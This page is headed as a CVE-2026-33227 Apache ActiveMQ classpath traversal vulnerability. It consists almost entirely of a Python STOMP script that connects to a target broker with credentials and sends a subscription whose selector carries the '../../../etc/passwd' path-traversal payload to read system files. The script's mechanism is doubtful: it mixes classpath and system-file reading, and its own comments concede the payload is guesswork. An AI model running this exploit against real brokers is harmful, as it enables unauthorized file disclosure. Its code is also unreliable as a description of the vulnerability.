CVE-2026-33227 Apache ActiveMQ类路径遍历漏洞

import stomp # Target configuration target_host = '192.168.1.100' target_port = 61613 username = 'user' password = 'password' # Connect to ActiveMQ Stomp interface conn = stomp.Connection([(target_host, target_port)]) conn.connect(username, password, wait=True) # Vulnerability Explanation: # The application does not properly validate the 'key' parameter used in message selectors. # By injecting path traversal sequences (e.g., '../../'), an attacker can read files from the classpath. # Malicious payload attempting to read a configuration file from the classpath # The exact payload depends on the specific endpoint and classpath structure malicious_key = "../../../etc/passwd" # Example: SUBSCRIBE frame with a selector containing the traversal payload # In a real scenario, this might be part of a message header or consumer configuration headers = { 'selector': f"key = '{malicious_key}'", 'activemq.prefetchSize': '1' } try: # Send a subscription request that triggers the vulnerable path concatenation conn.subscribe(destination='/queue/TestQueue', id='1', headers=headers) print("[+] PoC sent: Malicious subscription request with path traversal payload.") print("[+] Check application response or server logs for file content inclusion.") except Exception as e: print(f"[-] Exploit failed: {e}") finally: conn.disconnect()